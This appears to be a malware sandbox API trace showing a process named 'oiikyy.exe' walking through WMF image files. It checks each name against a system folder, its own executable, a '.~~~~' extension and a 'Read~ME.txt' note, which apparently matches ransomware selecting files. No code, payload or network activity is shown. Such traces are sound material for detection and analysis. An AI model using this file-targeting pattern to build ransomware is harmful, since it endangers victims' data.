	[0085.537] StrStrW (lpFirst="J0238983.WMF", lpSrch=".~~~~") returned 0x0
	[0085.537] lstrcmpW (lpString1="J0238983.WMF", lpString2="Read~ME.txt") returned -1
	[0085.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.537] GetCurrentThreadId () returned 0x618
	[0085.537] RtlWakeConditionVariable () returned 0x365f48
	[0085.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1
	[0085.537] lstrcmpiW (lpString1="J0239057.WMF", lpString2="Windows") returned -1
	[0085.537] lstrcmpW (lpString1="J0239057.WMF", lpString2="oiikyy.exe") returned -1
	[0085.537] StrStrW (lpFirst="J0239057.WMF", lpSrch=".~~~~") returned 0x0
	[0085.537] lstrcmpW (lpString1="J0239057.WMF", lpString2="Read~ME.txt") returned -1
	[0085.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.537] GetCurrentThreadId () returned 0x618
	[0085.537] RtlWakeConditionVariable () returned 0x365f48
	[0085.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1
	[0085.537] lstrcmpiW (lpString1="J0239063.WMF", lpString2="Windows") returned -1
	[0085.537] lstrcmpW (lpString1="J0239063.WMF", lpString2="oiikyy.exe") returned -1
	[0085.537] StrStrW (lpFirst="J0239063.WMF", lpSrch=".~~~~") returned 0x0
	[0085.537] lstrcmpW (lpString1="J0239063.WMF", lpString2="Read~ME.txt") returned -1
	[0085.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.537] GetCurrentThreadId () returned 0x618
	[0085.537] RtlWakeConditionVariable () returned 0x365f48
	[0085.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1
	[0085.537] lstrcmpiW (lpString1="J0239079.WMF", lpString2="Windows") returned -1
	[0085.538] lstrcmpW (lpString1="J0239079.WMF", lpString2="oiikyy.exe") returned -1
	[0085.538] StrStrW (lpFirst="J0239079.WMF", lpSrch=".~~~~") returned 0x0
	[0085.538] lstrcmpW (lpString1="J0239079.WMF", lpString2="Read~ME.txt") returned -1
	[0085.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.538] GetCurrentThreadId () returned 0x618
	[0085.538] RtlWakeConditionVariable () returned 0x365f48
	[0085.538] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1
	[0085.538] lstrcmpiW (lpString1="J0239191.WMF", lpString2="Windows") returned -1
	[0085.538] lstrcmpW (lpString1="J0239191.WMF", lpString2="oiikyy.exe") returned -1
	[0085.538] StrStrW (lpFirst="J0239191.WMF", lpSrch=".~~~~") returned 0x0
	[0085.538] lstrcmpW (lpString1="J0239191.WMF", lpString2="Read~ME.txt") returned -1
	[0085.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.538] GetCurrentThreadId () returned 0x618
	[0085.538] RtlWakeConditionVariable () returned 0x365f48
	[0085.538] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1
	[0085.538] lstrcmpiW (lpString1="J0239611.WMF", lpString2="Windows") returned -1
	[0085.538] lstrcmpW (lpString1="J0239611.WMF", lpString2="oiikyy.exe") returned -1
	[0085.538] StrStrW (lpFirst="J0239611.WMF", lpSrch=".~~~~") returned 0x0
	[0085.538] lstrcmpW (lpString1="J0239611.WMF", lpString2="Read~ME.txt") returned -1
	[0085.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.538] GetCurrentThreadId () returned 0x618
	[0085.538] RtlWakeConditionVariable () returned 0x365f48
	[0085.538] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1
	[0085.538] lstrcmpiW (lpString1="J0239935.WMF", lpString2="Windows") returned -1
	[0085.538] lstrcmpW (lpString1="J0239935.WMF", lpString2="oiikyy.exe") returned -1
	[0085.538] StrStrW (lpFirst="J0239935.WMF", lpSrch=".~~~~") returned 0x0
	[0085.538] lstrcmpW (lpString1="J0239935.WMF", lpString2="Read~ME.txt") returned -1
	[0085.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.538] GetCurrentThreadId () returned 0x618
	[0085.538] RtlWakeConditionVariable () returned 0x365f48
	[0085.539] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1
	[0085.539] lstrcmpiW (lpString1="J0239941.WMF", lpString2="Windows") returned -1
	[0085.539] lstrcmpW (lpString1="J0239941.WMF", lpString2="oiikyy.exe") returned -1
	[0085.539] StrStrW (lpFirst="J0239941.WMF", lpSrch=".~~~~") returned 0x0
	[0085.539] lstrcmpW (lpString1="J0239941.WMF", lpString2="Read~ME.txt") returned -1
	[0085.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.539] GetCurrentThreadId () returned 0x618
	[0085.539] RtlWakeConditionVariable () returned 0x365f48
	[0085.539] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1
	[0085.539] lstrcmpiW (lpString1="J0239943.WMF", lpString2="Windows") returned -1
	[0085.539] lstrcmpW (lpString1="J0239943.WMF", lpString2="oiikyy.exe") returned -1
	[0085.539] StrStrW (lpFirst="J0239943.WMF", lpSrch=".~~~~") returned 0x0
	[0085.539] lstrcmpW (lpString1="J0239943.WMF", lpString2="Read~ME.txt") returned -1
	[0085.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.539] GetCurrentThreadId () returned 0x618
	[0085.539] RtlWakeConditionVariable () returned 0x365f48
	[0085.539] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1
	[0085.539] lstrcmpiW (lpString1="J0239951.WMF", lpString2="Windows") returned -1
	[0085.539] lstrcmpW (lpString1="J0239951.WMF", lpString2="oiikyy.exe") returned -1
	[0085.539] StrStrW (lpFirst="J0239951.WMF", lpSrch=".~~~~") returned 0x0
	[0085.539] lstrcmpW (lpString1="J0239951.WMF", lpString2="Read~ME.txt") returned -1
	[0085.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.539] GetCurrentThreadId () returned 0x618
	[0085.539] RtlWakeConditionVariable () returned 0x365f48
	[0085.539] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1
	[0085.539] lstrcmpiW (lpString1="J0239953.WMF", lpString2="Windows") returned -1
	[0085.540] lstrcmpW (lpString1="J0239953.WMF", lpString2="oiikyy.exe") returned -1
	[0085.540] StrStrW (lpFirst="J0239953.WMF", lpSrch=".~~~~") returned 0x0
	[0085.540] lstrcmpW (lpString1="J0239953.WMF", lpString2="Read~ME.txt") returned -1
	[0085.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.540] GetCurrentThreadId () returned 0x618
	[0085.540] RtlWakeConditionVariable () returned 0x365f48
	[0085.540] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1
	[0085.540] lstrcmpiW (lpString1="J0239955.WMF", lpString2="Windows") returned -1
	[0085.540] lstrcmpW (lpString1="J0239955.WMF", lpString2="oiikyy.exe") returned -1
	[0085.540] StrStrW (lpFirst="J0239955.WMF", lpSrch=".~~~~") returned 0x0
	[0085.540] lstrcmpW (lpString1="J0239955.WMF", lpString2="Read~ME.txt") returned -1
	[0085.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.540] GetCurrentThreadId () returned 0x618
	[0085.540] RtlWakeConditionVariable () returned 0x365f48
	[0085.540] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1
	[0085.540] lstrcmpiW (lpString1="J0239965.WMF", lpString2="Windows") returned -1
	[0085.540] lstrcmpW (lpString1="J0239965.WMF", lpString2="oiikyy.exe") returned -1
	[0085.540] StrStrW (lpFirst="J0239965.WMF", lpSrch=".~~~~") returned 0x0
	[0085.540] lstrcmpW (lpString1="J0239965.WMF", lpString2="Read~ME.txt") returned -1
	[0085.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.540] GetCurrentThreadId () returned 0x618
	[0085.540] RtlWakeConditionVariable () returned 0x365f48
	[0085.540] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1
	[0085.540] lstrcmpiW (lpString1="J0239967.WMF", lpString2="Windows") returned -1
	[0085.540] lstrcmpW (lpString1="J0239967.WMF", lpString2="oiikyy.exe") returned -1
	[0085.540] StrStrW (lpFirst="J0239967.WMF", lpSrch=".~~~~") returned 0x0
	[0085.540] lstrcmpW (lpString1="J0239967.WMF", lpString2="Read~ME.txt") returned -1
	[0085.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.541] GetCurrentThreadId () returned 0x618
	[0085.541] RtlWakeConditionVariable () returned 0x365f48
	[0085.541] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1
	[0085.541] lstrcmpiW (lpString1="J0239973.WMF", lpString2="Windows") returned -1
	[0085.541] lstrcmpW (lpString1="J0239973.WMF", lpString2="oiikyy.exe") returned -1
	[0085.541] StrStrW (lpFirst="J0239973.WMF", lpSrch=".~~~~") returned 0x0
	[0085.541] lstrcmpW (lpString1="J0239973.WMF", lpString2="Read~ME.txt") returned -1
	[0085.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.541] GetCurrentThreadId () returned 0x618
	[0085.541] RtlWakeConditionVariable () returned 0x365f48
	[0085.541] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1
	[0085.541] lstrcmpiW (lpString1="J0239975.WMF", lpString2="Windows") returned -1
	[0085.541] lstrcmpW (lpString1="J0239975.WMF", lpString2="oiikyy.exe") returned -1
	[0085.541] StrStrW (lpFirst="J0239975.WMF", lpSrch=".~~~~") returned 0x0
	[0085.541] lstrcmpW (lpString1="J0239975.WMF", lpString2="Read~ME.txt") returned -1
	[0085.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.541] GetCurrentThreadId () returned 0x618
	[0085.541] RtlWakeConditionVariable () returned 0x365f48
	[0085.541] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1
	[0085.541] lstrcmpiW (lpString1="J0239997.WMF", lpString2="Windows") returned -1
	[0085.541] lstrcmpW (lpString1="J0239997.WMF", lpString2="oiikyy.exe") returned -1
	[0085.541] StrStrW (lpFirst="J0239997.WMF", lpSrch=".~~~~") returned 0x0
	[0085.541] lstrcmpW (lpString1="J0239997.WMF", lpString2="Read~ME.txt") returned -1
	[0085.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.541] GetCurrentThreadId () returned 0x618
	[0085.541] RtlWakeConditionVariable () returned 0x365f48
	[0085.542] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1
	[0085.542] lstrcmpiW (lpString1="J0240157.WMF", lpString2="Windows") returned -1
	[0085.542] lstrcmpW (lpString1="J0240157.WMF", lpString2="oiikyy.exe") returned -1
	[0085.542] StrStrW (lpFirst="J0240157.WMF", lpSrch=".~~~~") returned 0x0
	[0085.542] lstrcmpW (lpString1="J0240157.WMF", lpString2="Read~ME.txt") returned -1
	[0085.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.542] GetCurrentThreadId () returned 0x618
	[0085.542] RtlWakeConditionVariable () returned 0x365f48
	[0085.542] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1
	[0085.542] lstrcmpiW (lpString1="J0240175.WMF", lpString2="Windows") returned -1
	[0085.542] lstrcmpW (lpString1="J0240175.WMF", lpString2="oiikyy.exe") returned -1
	[0085.542] StrStrW (lpFirst="J0240175.WMF", lpSrch=".~~~~") returned 0x0
	[0085.542] lstrcmpW (lpString1="J0240175.WMF", lpString2="Read~ME.txt") returned -1
	[0085.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.542] GetCurrentThreadId () returned 0x618
	[0085.542] RtlWakeConditionVariable () returned 0x365f48
	[0085.542] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1
	[0085.542] lstrcmpiW (lpString1="J0240189.WMF", lpString2="Windows") returned -1
	[0085.542] lstrcmpW (lpString1="J0240189.WMF", lpString2="oiikyy.exe") returned -1
	[0085.542] StrStrW (lpFirst="J0240189.WMF", lpSrch=".~~~~") returned 0x0
	[0085.542] lstrcmpW (lpString1="J0240189.WMF", lpString2="Read~ME.txt") returned -1
	[0085.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.542] GetCurrentThreadId () returned 0x618
	[0085.542] RtlWakeConditionVariable () returned 0x365f48
	[0085.542] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1
	[0085.585] lstrcmpiW (lpString1="J0240291.WMF", lpString2="Windows") returned -1
	[0085.585] lstrcmpW (lpString1="J0240291.WMF", lpString2="oiikyy.exe") returned -1
	[0085.585] StrStrW (lpFirst="J0240291.WMF", lpSrch=".~~~~") returned 0x0
	[0085.585] lstrcmpW (lpString1="J0240291.WMF", lpString2="Read~ME.txt") returned -1
	[0085.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.585] GetCurrentThreadId () returned 0x618
	[0085.585] RtlWakeConditionVariable () returned 0x365f48
	[0085.586] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1
	[0085.586] lstrcmpiW (lpString1="J0241019.WMF", lpString2="Windows") returned -1
	[0085.586] lstrcmpW (lpString1="J0241019.WMF", lpString2="oiikyy.exe") returned -1
	[0085.586] StrStrW (lpFirst="J0241019.WMF", lpSrch=".~~~~") returned 0x0
	[0085.586] lstrcmpW (lpString1="J0241019.WMF", lpString2="Read~ME.txt") returned -1
	[0085.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.586] GetCurrentThreadId () returned 0x618
	[0085.586] RtlWakeConditionVariable () returned 0x365f48
	[0085.586] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1
	[0085.586] lstrcmpiW (lpString1="J0241037.WMF", lpString2="Windows") returned -1
	[0085.586] lstrcmpW (lpString1="J0241037.WMF", lpString2="oiikyy.exe") returned -1
	[0085.586] StrStrW (lpFirst="J0241037.WMF", lpSrch=".~~~~") returned 0x0
	[0085.586] lstrcmpW (lpString1="J0241037.WMF", lpString2="Read~ME.txt") returned -1
	[0085.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.586] GetCurrentThreadId () returned 0x618
	[0085.586] RtlWakeConditionVariable () returned 0x365f48
	[0085.586] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1
	[0085.586] lstrcmpiW (lpString1="J0241041.WMF", lpString2="Windows") returned -1
	[0085.586] lstrcmpW (lpString1="J0241041.WMF", lpString2="oiikyy.exe") returned -1
	[0085.586] StrStrW (lpFirst="J0241041.WMF", lpSrch=".~~~~") returned 0x0
	[0085.586] lstrcmpW (lpString1="J0241041.WMF", lpString2="Read~ME.txt") returned -1
	[0085.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.587] GetCurrentThreadId () returned 0x618
	[0085.587] RtlWakeConditionVariable () returned 0x365f48
	[0085.587] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1
	[0085.587] lstrcmpiW (lpString1="J0241043.WMF", lpString2="Windows") returned -1
	[0085.587] lstrcmpW (lpString1="J0241043.WMF", lpString2="oiikyy.exe") returned -1
	[0085.587] StrStrW (lpFirst="J0241043.WMF", lpSrch=".~~~~") returned 0x0
	[0085.587] lstrcmpW (lpString1="J0241043.WMF", lpString2="Read~ME.txt") returned -1
	[0085.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.587] GetCurrentThreadId () returned 0x618
	[0085.587] RtlWakeConditionVariable () returned 0x365f48
